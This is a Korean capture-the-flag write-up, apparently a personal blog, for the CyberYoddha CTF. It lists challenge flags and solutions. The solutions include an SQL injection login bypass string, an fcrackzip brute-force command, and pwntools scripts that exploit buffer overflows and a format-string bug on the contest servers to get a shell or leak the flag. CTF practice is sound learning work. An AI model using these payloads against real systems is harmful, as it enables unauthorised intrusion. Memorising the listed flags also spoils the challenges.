10.31 ~ 11.02
정리하다 보니까 사이버 요다가 무슨뜻인지 갑자기 궁금해졌는데... 굳이 알고 싶지도 않아.
제일 재미있었던 문제는 리눅스 쉘 명령어 사용하는 문제
배운점은 1) 기드라 보면서 스택프레임 어떻게 써야할지 애해하게 된것, 2) /bin/sh는 리눅스의 쉘이다.
로렌 입숨은 출판, 디자인에서 폰트를 채우기 위한 텍스트입니다. 주어진 텍스트와 검색된 내용에 차이가 있음을 알고, comapre tool로 비교했습니다.
정답: CYCTF{latiniscool}
정답: CYCTF{h3h3h3_1m@g3_M3t@d@t@_v13w3r_ICU}
정답: CYCTF{L00k_1n_th3_h3x_13h54d56}
정답:CYCTF{U!}
정답: CYCTF{l$b_st3g@n0gr@phy_f0r_th3_w1n}
정답: CYCTF{2_f0r_th3_pr1c3_0f_1_b64}
정답: CYCTF{c@3$@r_c!ph3r}
정답: CYCTF{it5_@_H0m3_2un!}
정답: CYCTF{wouldyoulikesomevinegarwiththat}
정답: CYCTF{1nSp3t_eL3M3nt?}
정답: CYCTF{d33r0b0t$_r_sUp3r10r}
usename: admin
password: a' or 'a' = 'a
정답: CYCTF{1l0v3$q1i}
https://base64.guru/tools/repair
정답: CYCTF{base64_is_supreme}
usename: admin
password: a' or 'a' = 'a
Data Store 첫번째 문제랑 다른것이 없다. sql injection 을 똑같이 걸어준다.
정답: CYCTF{S@n1t1ze_@11_U}
나중에 가서는 막기는 했는데 처음에는 뭔가 싶었다.
https://cyberyoddha.baycyber.net:33004/secret
sql injection 으로 뚫고 /secret로 이동하는것 같았는데 그냥 뚫려있었다.
정답: CYCTF{D0n7_M@k3_D3bug_Publ1c}
#include <stdio.h>
char password[43] = "abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabc";
int main () {
password[26] = 'r';
password[33] = 't';
password[32] = '3';
password[16] = '3';
password[4] = 'F' ;
password[21] = 'r';
password[38] = '1';
password[18] = 'c';
password[22] = '@';
password[31] = 'g';
password[7] = 'u' ;
password[0] = 'C' ;
password[6] = 'p' ;
password[39] = '3';
password[3] = 'T' ;
password[25] = '3';
password[29] = 't';
password[42] = '}';
password[12] = 'g';
password[23] = 'c';
password[30] = '0';
password[40] = '3';
password[28] = '_';
password[20] = '@';
password[27] = '$';
password[17] = '_';
password[35] = '3';
password[8] = '7' ;
password[24] = 't';
password[41] = '7';
password[13] = '_';
password[5] = '{' ;
password[2] = 'C' ;
password[11] = 'n';
password[9] = '7' ;
password[15] = 'h';
password[34] = 'h';
password[1] = 'Y' ;
password[10] = '1';
password[37] = '_';
password[14] = 't';
password[36] = 'r';
password[19] = 'h';
printf("%s\n", password);
}
정답: CYCTF{pu771ng_th3_ch@r@ct3r$_t0g3th3r_1337}
password = "CYCTF{ju$@rcs_3l771l_@_t}bd3cfdr0y_u0t__03_0l3m"
newPass = list(password)
for i in range(45, 25, -2):
newPass[i] = password[i]
for i in range(24,47,2):
newPass[i] = password[70-i]
for i in range(9,24):
newPass[i] = password[32-i]
for i in range(0,9):
newPass[i] = password[i]
for i in newPass:
print(i, end="")
정답: CYCTF{ju$t_@_l177l3_scr@mbl3_f0r_y0u_t0_d3c0d3}
정답: securepassword
파일 이름이 겹쳐서 crack.zip으로 변경했다.
fcrackzip -b -D -p rockyou.txt -u crack.zip
정답: cyctf{y0u_cr@ck3d_th3_z!p...}
정답: CYCTF{ilovesalt}
https://hashes.com/en/decrypt/hash
정답: CYCTF{whoami}
정답: CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}
정답: CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}
find . -type f -print | xargs grep -i "CYCTF" /dev/null
정답: CYCTF{W0wth@t$@_l0t_0f_f1l3s}
diff file.txt file2.txt
정답: CYCTF{SPOT_TH3_D1FF}
정답: CYCTF{W3ll_1_gu3$$_th@t_w@s_actually_easy}
http://web.archive.org/web/20200916000913/https://cyberyoddha.baycyber.net/teams/2
정답: CYCTF{Tr@v3l_b@ck_1n_t1m3_t0_g3t_th3_fl@g}
퍼퍼의 크기가 16이기 때문에 길이 16 초과인 문자열을 입력받으면 버퍼 오버 플로우가 발생할것으로 보인다.
char str[] = "AAAA"; 의 요소중 단 한개라도 'A' 가 아니라면 if 문 안으로 들어가게 된다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
char str[] = "AAAA";
char buf[16];
gets(buf);
if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){
system("/bin/sh");
}
}
기드라로 열어보면 다음과 같다.
local_25 에 16자리 문자열을 받는데, 넘어가면 local_15의 영역을 덮어쓴다.
그리고 if문으로 들어가면 system("/bin/sh") 쉘코드가 실행되고, 이를 사용한다.
from pwn import *
p = remote("cyberyoddha.baycyber.net", 10001)
p.connected()
payload = b'\x00' * 17
p.sendline(payload)
p.interactive()
from pwn import *
p = remote("cyberyoddha.baycyber.net", 10002)
p.connected()
payload = b'\x00' * 28
payload += p32(0x08049172)
p.sendline(payload)
p.interactive()
정답: CYCTF{0v3rfl0w!ng_v@ri@bl3_3z}
from pwn import *
p = remote("cyberyoddha.baycyber.net", 10003)
p.connected()
payload = b'\x00' * 16
payload += p32(0xd3adb33f)
p.sendline(payload)
p.interactive()
정답: CYCTF{wh0@_y0u_jump3d_t0_th3_funct!0n}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char *input;
char *flag = "REDACTED!";
gets(input);
printf(input);
return 0;
}
55번째 format에 걸린다.
기드라로 디스어셈블된 flag의 주소를 확인하면, 0804a008 이다.
아스키 코드 값
% - 25
s - 73
x - 78
from pwn import *
p = remote("cyberyoddha.baycyber.net", 10005)
p.connected()
add = 0x0804a008
payload = p32(add) + b'\x25\x78' * 54 + b'\x25\x73'
p.sendline(payload)
result = p.recvall()
print(result)